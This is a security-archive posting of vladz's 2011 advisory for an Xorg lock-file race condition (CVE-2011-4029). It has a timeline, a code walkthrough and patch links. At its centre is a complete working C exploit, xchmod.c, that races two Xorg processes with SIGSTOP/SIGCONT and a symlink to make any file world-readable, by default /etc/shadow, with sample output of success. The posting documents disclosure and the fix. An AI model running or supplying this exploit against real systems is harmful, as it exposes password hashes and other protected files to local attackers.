exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Xorg Permission Change

Xorg Permission Change
Posted Oct 27, 2011
Authored by vladz

Xorg versions 1.11.2 and below suffer from a permission change vulnerability that allows a local user the ability to set an arbitrary file to 444.

tags | exploit, arbitrary, local
SHA-256 | 9f6009b727030f6089ce212fb9833092feb2cd7c92c9d65e65e274472ecb43ce

Xorg Permission Change

Change Mirror Download
Author:        vladz <vladz@devzero.fr> (new on twitter @v14dz!)
Description: Xorg permission change vulnerability (CVE-2011-4029)
Product: X.Org (http://www.x.org/releases/)
Affected: Xorg 1.4 to 1.11.2 in all configurations. Xorg 1.3 and
earlier if built with the USE_CHMOD preprocessor identifier

PoC tested on: Debian 6.0.2 up to date with X default configuration issued
from the xserver-xorg-core package (version 2:1.7.7-13)

Follow-up: 2011/10/07 - X.org foundation informed
2011/10/09 - Distros informed
2011/10/18 - Issue/patch publicly announced


Introduction
------------

I've found a file permission change vulnerability in the way that Xorg
creates its temporary lock file "/tmp/.tXn-lock" (where 'n' is the X
display). When exploited, this vulnerability allows a non-root user to set
the read permission for all users on any file or directory.

For the exploit to succeed the local attacker needs to be able to run the
X.Org X11 X server.

NOTE: At this time (26/10/2010), some distros are still vulnerable (see
"Fix & Patch" above for more informations).


Description
-----------

Once started, Xorg attempts to create a lock file "/tmp/.Xn-lock" in a
secure manner: it creates/opens a temporary lock file "/tmp/.tXn-lock"
with the O_EXCL flag, writes the current PID into it, links it to the final
"/tmp/.Xn-lock" and unlink "/tmp/.tXn-lock". Here is the code:

$ cat -n os/utils.c
[...]
288 /*
289 * Create a temporary file containing our PID. Attempt three times
290 * to create the file.
291 */
292 StillLocking = TRUE;
293 i = 0;
294 do {
295 i++;
296 lfd = open(tmp, O_CREAT | O_EXCL | O_WRONLY, 0644);
297 if (lfd < 0)
298 sleep(2);
299 else
300 break;
301 } while (i < 3);
302 if (lfd < 0) {
303 unlink(tmp);
304 i = 0;
305 do {
306 i++;
307 lfd = open(tmp, O_CREAT | O_EXCL | O_WRONLY, 0644);
308 if (lfd < 0)
309 sleep(2);
310 else
311 break;
312 } while (i < 3);
313 }
314 if (lfd < 0)
315 FatalError("Could not create lock file in %s\n", tmp);
316 (void) sprintf(pid_str, "%10ld\n", (long)getpid());
317 (void) write(lfd, pid_str, 11);
318 (void) chmod(tmp, 0444);
319 (void) close(lfd);
320
[...]
328 haslock = (link(tmp,LockFile) == 0);
329 if (haslock) {
330 /*
331 * We're done.
332 */
333 break;
334 }
335 else {
336 /*
337 * Read the pid from the existing file
338 */
339 lfd = open(LockFile, O_RDONLY);
340 if (lfd < 0) {
341 unlink(tmp);
342 FatalError("Can't read lock file %s\n", LockFile);
343 }
[...]

As a reminder, chmod() operates on filenames rather than on file handles.
So in this case, at line 318, there is no guarantee that the file
"/tmp/.tXn-lock" still refers to the same file on disk that it did when it
was opened via the open() call. See TOCTOU vulnerability explained on
OWASP[1] for more informations.

The idea here is to remove and replace (by a malicious symbolic link), the
"tmp" file ("/tmp/.tXn-lock") between the call to open() at line 296 and
the call to chmod() at line 318. But for a non-root user, removing this
file looks impossible as it is located in a sticky bit directory ("/tmp")
and owned by root.

But, what if we launch two Xorg processes with an initial offset (few
milliseconds) so that the first process unlink() (line 341) the "tmp" file
right before the second process calls chmod()? This race condition would
consists in placing unlink() between open() and chmod(). It sounds very
difficult because there is only one system call between them (and maybe not
enough time to perform unlink() and create our symbolic link):

# strace X :1
[...]
open("/tmp/.tX1-lock", O_WRONLY|O_CREAT|O_EXCL, 0644) = 0
write(0, " 2192\n", 11) = 11
chmod("/tmp/.tX1-lock", 0444) = 0

Anyway, we can make this possible by sending signals SIGCONT and SIGSTOP[2]
to our process. As they are not trapped by the program, they will allow us
to control and regulate (by stopping and resuming) the execution flow.

Here is how to proceed:

1) launch the X wrapper (pid=n)
2) stop it (by sending SIGSTOP to 'n') rigth after "/tmp/.tX1-lock" is
created (this actually means that the next instruction is chmod())
3) launch another X process to unlink() /tmp/.tX1-lock
4) create the symbolic link "/tmp/.tX1-lock" -> "/etc/shadow"
5) send SIGCONT to 'n' to perform chmod() on our link

The minor problem is that when launching X several times (for race
purpose), it makes the console switch between X and TTY, and in some cases,
it freezes the screen and disturbs the attack. The solution is to make X
exit before it switches by creating a link "/tmp/.Xn-lock" (real lock
filename) to a file that doesn't exist. This will make the open() call
fails at line 339, and quit with FatalError() at 342.

So before our 5 steps, we just need to add:

0) create the symbolic link "/tmp/.X1-lock" -> "/dontexist"


Proof Of Concept
----------------

/* xchmod.c -- Xorg file permission change vulnerability PoC

This PoC sets the rights 444 (read for all) on any file specified as
argument (default file is "/etc/shadow"). Another good use for an
attacker would be to dump an entire partition in order to disclose its
full content later (via a "mount -o loop"). Made for EDUCATIONAL
PURPOSES ONLY! CVE-2011-4029 has been assigned.

In some configurations, this exploit must be launched from a TTY
(switch by typing Ctrl-Alt-Fn).

Tested on Debian 6.0.2 up to date with X default configuration issued
from the xserver-xorg-core package (version 2:1.7.7-13).

Compile: cc xchmod.c -o xchmod
Usage: ./xchmod [/path/to/file] (default file is /etc/shadow)

$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1072 Aug 7 07:10 /etc/shadow
$ ./xchmod
[+] Trying to stop a Xorg process right before chmod()
[+] Process ID 4134 stopped (SIGSTOP sent)
[+] Removing /tmp/.tX1-lock by launching another Xorg process
[+] Creating evil symlink (/tmp/.tX1-lock -> /etc/shadow)
[+] Process ID 4134 resumed (SIGCONT sent)
[+] Attack succeeded, ls -l /etc/shadow:
-r--r--r-- 1 root shadow 1072 Aug 7 07:10 /etc/shadow

-----------------------------------------------------------------------

"THE BEER-WARE LICENSE" (Revision 42):
<vladz@devzero.fr> wrote this file. As long as you retain this notice
you can do whatever you want with this stuff. If we meet some day, and
you think this stuff is worth it, you can buy me a beer in return. -V.
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <syscall.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>


#define XORG_BIN "/usr/bin/X"
#define DISPLAY ":1"


char *get_tty_number(void) {
char tty_name[128], *ptr;

memset(tty_name, '\0', sizeof(tty_name));
readlink("/proc/self/fd/0", tty_name, sizeof(tty_name));

if ((ptr = strstr(tty_name, "tty")))
return ptr + 3;

return NULL;
}

int launch_xorg_instance(void) {
int child_pid;
char *opt[] = { XORG_BIN, DISPLAY, NULL };

if ((child_pid = fork()) == 0) {
close(1); close(2);
execve(XORG_BIN, opt, NULL);
_exit(0);
}

return child_pid;
}

void show_target_file(char *file) {
char cmd[128];

memset(cmd, '\0', sizeof(cmd));
sprintf(cmd, "/bin/ls -l %s", file);
system(cmd);
}

int main(int argc, char **argv) {
pid_t proc;
struct stat st;
int n, ret, current_attempt = 800;
char target_file[128], lockfiletmp[20], lockfile[20], *ttyno;

if (argc < 2)
strcpy(target_file, "/etc/shadow");
else
strcpy(target_file, argv[1]);

sprintf(lockfile, "/tmp/.X%s-lock", DISPLAY+1);
sprintf(lockfiletmp, "/tmp/.tX%s-lock", DISPLAY+1);

/* we must ensure that Xorg is not already running on this display */
if (stat(lockfile, &st) == 0) {
printf("[-] %s exists, maybe Xorg is already running on this"
" display? Choose another display by editing the DISPLAY"
" attributes.\n", lockfile);
return 1;
}

/* this avoid execution to continue (and automatically switch to another
* TTY). Xorg quits with fatal error because the file that /tmp/.X?-lock
* links does not exist.
*/
symlink("/dontexist", lockfile);

/* we have to force this mask to not comprise our later checks */
umask(077);

ttyno = get_tty_number();

printf("[+] Trying to stop a Xorg process right before chmod()\n");
while (--current_attempt) {
proc = launch_xorg_instance();

n = 0;
while (n++ < 10000)
if ((ret = syscall(SYS_stat, lockfiletmp, &st)) == 0)
break;

if (ret == 0) {
syscall(SYS_kill, proc, SIGSTOP);
printf("[+] Process ID %d stopped (SIGSTOP sent)\n", proc);

stat(lockfiletmp, &st);
if ((st.st_mode & 4) == 0)
break;

printf("[-] %s file has wrong rights (%o)\n"
"[+] removing it by launching another Xorg process\n",
lockfiletmp, st.st_mode);
launch_xorg_instance();
sleep(7);
}

kill(proc, SIGKILL);
}

if (current_attempt == 0) {
printf("[-] Attack failed.\n");

if (!ttyno)
printf("Try with console ownership: switch to a TTY* by using "
"Ctrl-Alt-F[1-6] and try again.\n");

return 1;
}

printf("[+] Removing %s by launching another Xorg process\n",
lockfiletmp);
launch_xorg_instance();
sleep(7);

if (stat(lockfiletmp, &st) == 0) {
printf("[-] %s lock file still here... :(\n", lockfiletmp);
return 1;
}

printf("[+] Creating evil symlink (%s -> %s)\n", lockfiletmp,
target_file);
symlink(target_file, lockfiletmp);

printf("[+] Process ID %d resumed (SIGCONT sent)\n", proc);
kill(proc, SIGCONT);

/* wait for chmod() to finish */
usleep(300000);

stat(target_file, &st);
if (!(st.st_mode & 004)) {
printf("[-] Attack failed, rights are %o. Try again!\n", st.st_mode);
return 1;
}

/* cleaning temporary link */
unlink(lockfile);

printf("[+] Attack succeeded, ls -l %s:\n", target_file);
show_target_file(target_file);

return 0;
}


Fix & Patch
------------

A fix for this vulnerability is available and will be included in xserver
1.11.2 and xserver 1.12.

http://cgit.freedesktop.org/xorg/xserver/commit/?id=b67581cf825940fdf52bf2e0af4330e695d724a4

Some distros released new Xorg packages (Ubuntu, Gentoo) since others (like
Debian) judge this as a non-critical issue:

http://security-tracker.debian.org/tracker/CVE-2011-4029


Footnotes & links
-----------------

[1] https://www.owasp.org/index.php/File_Access_Race_Condition:_TOCTOU

[2] http://en.wikipedia.org/wiki/SIGCONT
"SIGCONT is the signal sent to restart a process previously paused by
the SIGSTOP signal".


Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close